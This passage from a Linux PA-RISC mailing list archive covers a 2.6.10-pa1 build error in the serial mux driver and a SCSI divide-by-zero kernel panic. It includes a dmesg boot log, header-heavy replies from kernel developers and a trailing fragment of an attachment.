l6NKREKr0II6KE7kQGHOzszDCLtI3EO2NjZeSbNY9i3YskxFhoKYHfzxZNSHOJaFXRsTaYFjM2DG
pcilCEPduq19JjnDc7QKTFeIDNoHcgA4aBdqqJ3foSJNIRmCejRU2gk5DQW6xqyy0vKt4aOBnsdG
Yg3dU0kx1s8yZk6OdHQAzxm+wpr5lI2JOObL9YRNDDDOQ66m2CUPimTQiwwNTtKqKCKoqqqiCgqh
QJBQCccPRcLnieNX51vqxUDChZe67qYVB+YTnu9Emhbj1d+GTbMfaIhHqK6mhf7KQU3mPfUajtno
+YEukRzNPfnBEREOKuw+gXYRMkVRs7tf6OXRs+GgWfHEaasoZNjswlVEI37clXcnxwWyYCh1Kgww
5uZ57UoSMnGYIGliCJmEcCcapksM6rGYBZdGstKfH6/P2/r9x+PT2iC+rvwsJw6s/fvlnj82gfsT
43YMRXrbozxWLLQFhu/0ESMfdb82ptHEuj6yPt6wg8zgVxrz1+G+U65lomsA2VZERESKypUWbZnp
BXpKy3Qa++nnXtbjj25/grpr63i44mm7/5RnLGJFi8kN/Rnn5zsprjhHXXLFTetVtPZUNxCXY1c+
ZuopqgCC5EHpxJ/Vp0Vguy2+jMPjaA0auOIDQSECqrP6CThqOtDwbiG03mc1cTXvmQSbUncYP54c
HwDJA9UCt5fyjOSloUFYUjoIxbiEAXsby3FB3EkggcJRXqvKe1mZcKhW8JoSQjzl9eNRjMEQIAnM
Jh/ZHFOXGjEEgCUjOxTXw3Pe8OGJKEFbhr+Z9q6st2lR4NAPbRowunzr9E4xmTS+mkJH1pS2Rho2
c3qS6JycHSFuKizW5dTfJ39uBNQN+n5XBECAJ7EeiOeAsL8djmeO+oRr5mSu0f2w6W9dAAl63MeY
KEJBRMjNg8nGGq5Cg6CSpcEggG/IM1td91pT/k91+SIMcW87gKT6jM0hfFGTy4VK5UaGZRGfOV6u
94uzt0Q8nALy5Muwc3hh3vnVF4Q2Rh4PAetkaAzNhgku/rA2LljySHlIzOWsia0LhFJOCf18xfUS
ECfz1iRsfqaSEC4nnQ93pnEZnsA88gF2kQxAGEkMBCCzQCgyIb5S6iQgTCio6n4MSegGpvyL30H+
ZVu6XJCx7ippOT6b26PoqaFQTCkbZaXD1qHrmN/cNee1J5wwohIJQEolCBiWZv3jPYjnOxzG2zHA
HIomxgQCXnrQafYt+I3d4ARAMK6eQbpyWMwYNrc9CAT/4u5IpwoSDWHj2WA=

--Boundary-00=_4yozB+Xdw98yPLC
Content-Type: text/plain;
  charset="us-ascii";
  name="2.6.8.1-pa11-dmesg"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="2.6.8.1-pa11-dmesg"

sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18j
Using anticipatory io scheduler
  Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:6:0): Beginning Domain Validation
sym0:6: wide asynchronous.
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(0:0:6:0): Domain Validation skipping write tests
scsi(0:0:6:0): Ending Domain Validation
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
  Vendor: WDIGTL    Model: WDE9150 ULTRA3    Rev: 1.30
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:9:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:9:0): Beginning Domain Validation
sym0:9: FAST-20 SCSI 20.0 MB/s ST (50.0 ns, offset 16)
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
scsi(0:0:9:0): Write Buffer failure 8000002
scsi(0:0:9:0): Domain Validation detected failure, dropping back
sym0:9: FAST-10 WIDE SCSI 20.0 MB/s ST (100.0 ns, offset 16)
scsi(0:0:9:0): Write Buffer failure 8000002
scsi(0:0:9:0): Domain Validation detected failure, dropping back
sym0:9: FAST-10 WIDE SCSI 13.5 MB/s ST (148.0 ns, offset 16)
scsi(0:0:9:0): Write Buffer failure 8000002
scsi(0:0:9:0): Domain Validation detected failure, dropping back
sym0:9: FAST-5 WIDE SCSI 8.9 MB/s ST (224.0 ns, offset 16)
scsi(0:0:9:0): Write Buffer failure 8000002
scsi(0:0:9:0): Domain Validation detected failure, dropping back
sym0:9: wide asynchronous.
sym0:9:0:M_REJECT to send for : 1-3-1-57-10.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
scsi(0:0:9:0): Write Buffer failure 8000002
scsi(0:0:9:0): Domain Validation detected failure, dropping back
sym0:9: wide asynchronous.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
scsi(0:0:9:0): Write Buffer failure 8000002
scsi(0:0:9:0): Domain Validation detected failure, dropping back
sym0:9: wide asynchronous.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
scsi(0:0:9:0): Write Buffer failure 8000002
scsi(0:0:9:0): Domain Validation Failure, dropping back to Asynchronous
scsi(0:0:9:0): Ending Domain Validation
sym0:9: wide asynchronous.
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
  Vendor: TOSHIBA   Model: CD-ROM XM-5301TA  Rev: 1895
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi(1:0:2:0): Beginning Domain Validation
scsi1: (2:0) Asynchronous
scsi1: (2:0) Synchronous at offset 8, period 236ns
scsi(1:0:2:0): Domain Validation skipping write tests
scsi(1:0:2:0): Ending Domain Validation
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sdb: 17873040 512-byte hdwr sectors (9151 MB)
SCSI device sdb: drive cache: write back
 sdb: unknown partition table
Attached scsi disk sdb at scsi0, channel 0, id 9, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.20
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 6, lun 0,  type 0
Attached scsi generic sg1 at scsi0, channel 0, id 9, lun 0,  type 0
Attached scsi generic sg2 at scsi1, channel 0, id 2, lun 0,  type 5
STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f1ff0000 (64 kB), fb at f6000000 (32 MB)
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
    graphics card name: PCI_GRAFFITIX1280

--Boundary-00=_4yozB+Xdw98yPLC
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_4yozB+Xdw98yPLC--



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.10-pa1 build failure [drivers/serial/mux.c]
Date: Sun, 26 Dec 2004 14:11:12 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20041226141112.GE11543@parcelfarce.linux.theplanet.co.uk>
References: <200412260212.19982.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624513 26505 80.91.229.3 (22 Nov 2014 02:48:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:33 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Dec 2004 14:11:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 26 Dec 2004 15:11:44 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1B6AA3BE5D; Sun, 26 Dec 2004 07:11:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02778-07; Sun, 26 Dec 2004 07:11:41 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4CE8C3BE56; Sun, 26 Dec 2004 07:11:24 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C62B33BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 07:11:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 02778-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 07:11:17 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6B3483BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 07:11:17 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 1780E495694; Sun, 26 Dec 2004 07:11:17 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id CACAC495691
	for <parisc-linux@parisc-linux.org>;
	Sun, 26 Dec 2004 07:11:16 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CiZ72-00026x-K0; Sun, 26 Dec 2004 14:11:12 +0000
Content-Disposition: inline
In-Reply-To: <200412260212.19982.vapier@gentoo.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25034

On Sun, Dec 26, 2004 at 02:12:19AM -0500, Mike Frysinger wrote:
> this hunk is bum:
> --- LINUS_2_6_10/drivers/serial/mux.c
> +++ CVS2_6_10_PA1/drivers/serial/mux.c
> -       port->irq   = SERIAL_IRQ_NONE;
> +       port->irq   = NO_IRQ;
> 
> NO_IRQ isnt defined in any headers, but the serial_core.c has a similar hunk:

include/asm-parisc/irq.h defines NO_IRQ.  The hack in serial_core.c
is there because I build the parisc tree on a bunch of different
architectures (mostly i386 and ia64), and not everyone is defining
NO_IRQ yet.  There was a discussion about it on the linux-arch mailing
list and Ben Herrenschmidt is supposed to be driving it.  He's been
busy; I was just switching us over prematurely.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Sun, 26 Dec 2004 17:37:09 +0000
Lines: 92
Approved: news@gmane.org
Message-ID: <20041226173709.GH11543@parcelfarce.linux.theplanet.co.uk>
References: <200412260504.40205.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624513 26507 80.91.229.3 (22 Nov 2014 02:48:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:33 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Dec 2004 17:37:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 26 Dec 2004 18:37:30 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6EF9D3BE57; Sun, 26 Dec 2004 10:37:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06665-10; Sun, 26 Dec 2004 10:37:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CC7943BE5D; Sun, 26 Dec 2004 10:37:16 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49A9B3BE57
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 10:37:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07010-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 10:37:11 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4D9393BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 10:37:11 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 10EAF495694; Sun, 26 Dec 2004 10:37:11 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 8C935495691
	for <parisc-linux@parisc-linux.org>;
	Sun, 26 Dec 2004 10:37:10 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CicKL-0001gz-99; Sun, 26 Dec 2004 17:37:09 +0000
Content-Disposition: inline
In-Reply-To: <200412260504.40205.vapier@gentoo.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25035

On Sun, Dec 26, 2004 at 05:04:40AM -0500, Mike Frysinger wrote:
> seems to be a new bug because building a 2.6.8.1-pa7 kernel with same .config 
> works fine while a 2.6.10-pa1 panics ;(

I suspect any 2.6.9 kernel will work fine and some of the earlier
2.6.10-rc too.  At some stage, I may invite you to do a binary search
to figure out what patch caused this problem ... but see below first.

> 2.6.10-pa1-scsi-panic - dmesg output from scsi driver up through panic
> 2.6.8.1-pa11-dmesg - scsi dmesg output from a good kernel

This is good -- very helpful.

> sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
> sym0: No NVRAM, ID 7, Fast-20, SE, parity checking

The 875 only supports wide ultra scsi (ie, FAST-20, 40MB/s).

>  target0:0:6: Beginning Domain Validation
> sym0:6: wide asynchronous.
> sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
>  target0:0:6: Domain Validation skipping write tests
>  target0:0:6: Ending Domain Validation

... successful negotiation with the IBM drive

> sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
>   Vendor: WDIGTL    Model: WDE9150 ULTRA3    Rev: 1.30
>   Type:   Direct-Access                      ANSI SCSI revision: 03
> sym0:9:0: tagged command queuing enabled, command queue depth 16.
>  target0:0:9: Beginning Domain Validation
> sym0:9: asynchronous.
> sym0:9: wide asynchronous.
> Backtrace:
>  [<102a51a8>] sym_ppr_nego+0x44/0xe0
>  [<1029d6ec>] sym53c8xx_intr+0x30/0x80
>  [<10106ca8>] do_irq+0x158/0x160

... we got an interrupt and died processing it.

> Kernel Fault: Code=13 regs=10434640 (Addr=00000000)

 	 13  	 	 	 	 Conditional trap

>  IAOQ[0]: $$divU+0xc/0x210
>  IAOQ[1]: $$divU+0x10/0x210

I guess we tried to divide by zero.

Looking at the stack dump (a couple of layers are missing, is this because
of tail-call optimisations?), we received a PPR message from the device.
Now, devices aren't supposed to send unsolicited PPR messages, so either
we're mistakenly asking it to do PPR or the device is breaking the spec.

Let's find out which; can you enable negotiation debugging by passing:

sym53c8xx.debug=0x200

on the kernel command line?  If it's a module, then do:

modprobe sym53c8xx debug=0x200

[2.6.8.1-pa9 boot log]:
> sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
> sym0: No NVRAM, ID 7, Fast-20, SE, parity checking

> sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
>   Vendor: WDIGTL    Model: WDE9150 ULTRA3    Rev: 1.30
>   Type:   Direct-Access                      ANSI SCSI revision: 03
> sym0:9:0: tagged command queuing enabled, command queue depth 16.
> scsi(0:0:9:0): Beginning Domain Validation
> sym0:9: FAST-20 SCSI 20.0 MB/s ST (50.0 ns, offset 16)
> sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
> scsi(0:0:9:0): Write Buffer failure 8000002
> scsi(0:0:9:0): Domain Validation detected failure, dropping back

Fascinating.  Need to debug why this is going wrong ... but that's
for a later time.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Sun, 26 Dec 2004 12:42:53 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20041226174253.GA7643@localhost.localdomain>
References: <200412260504.40205.vapier@gentoo.org>
	<20041226173709.GH11543@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624513 26509 80.91.229.3 (22 Nov 2014 02:48:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:33 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Dec 2004 17:44:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx067) with SMTP; 26 Dec 2004 18:44:29 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5CD613BE64; Sun, 26 Dec 2004 10:44:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07010-08; Sun, 26 Dec 2004 10:44:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 490033BE59; Sun, 26 Dec 2004 10:44:16 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E63F43BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 10:44:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07010-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 10:44:10 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E51C73BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 10:44:09 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 842AA495694; Sun, 26 Dec 2004 10:44:09 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from stout.engsoc.org (stout.engsoc.carleton.ca [134.117.69.22])
	by palinux.hppa (Postfix) with ESMTP id 313B2495691
	for <parisc-linux@parisc-linux.org>;
	Sun, 26 Dec 2004 10:44:09 -0700 (MST)
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca
	[134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-7.1) with ESMTP id
	iBQHi6s9004755; Sun, 26 Dec 2004 12:44:08 -0500
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1
	(Debian)) id 1CicHa-0005hJ-00; Sun, 26 Dec 2004 12:34:18 -0500
Content-Disposition: inline
In-Reply-To: <20041226173709.GH11543@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25036

On Sun, Dec 26, 2004 at 05:37:09PM +0000, Matthew Wilcox wrote:
> > Kernel Fault: Code=13 regs=10434640 (Addr=00000000)
> 
>  	 13  	 	 	 	 Conditional trap
> 
> >  IAOQ[0]: $$divU+0xc/0x210
> >  IAOQ[1]: $$divU+0x10/0x210
> 
> I guess we tried to divide by zero.
>

Interesting!

I've been seeing these while doing harmony work... That's pretty
confusing. Hmm.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Mon, 27 Dec 2004 00:26:21 +0000
Lines: 96
Approved: news@gmane.org
Message-ID: <41CF56AD.2010504@tiscali.be>
References: <200412260504.40205.vapier@gentoo.org>
	<20041226173709.GH11543@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624514 26511 80.91.229.3 (22 Nov 2014 02:48:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:34 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Dec 2004 00:27:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 27 Dec 2004 01:27:10 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4F51B3BE51; Sun, 26 Dec 2004 17:26:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09498-09; Sun, 26 Dec 2004 17:26:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 422E53BE53; Sun, 26 Dec 2004 17:26:37 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CFB703BE2E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 17:26:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09498-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Dec 2004 17:26:30 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B1BC13BD42
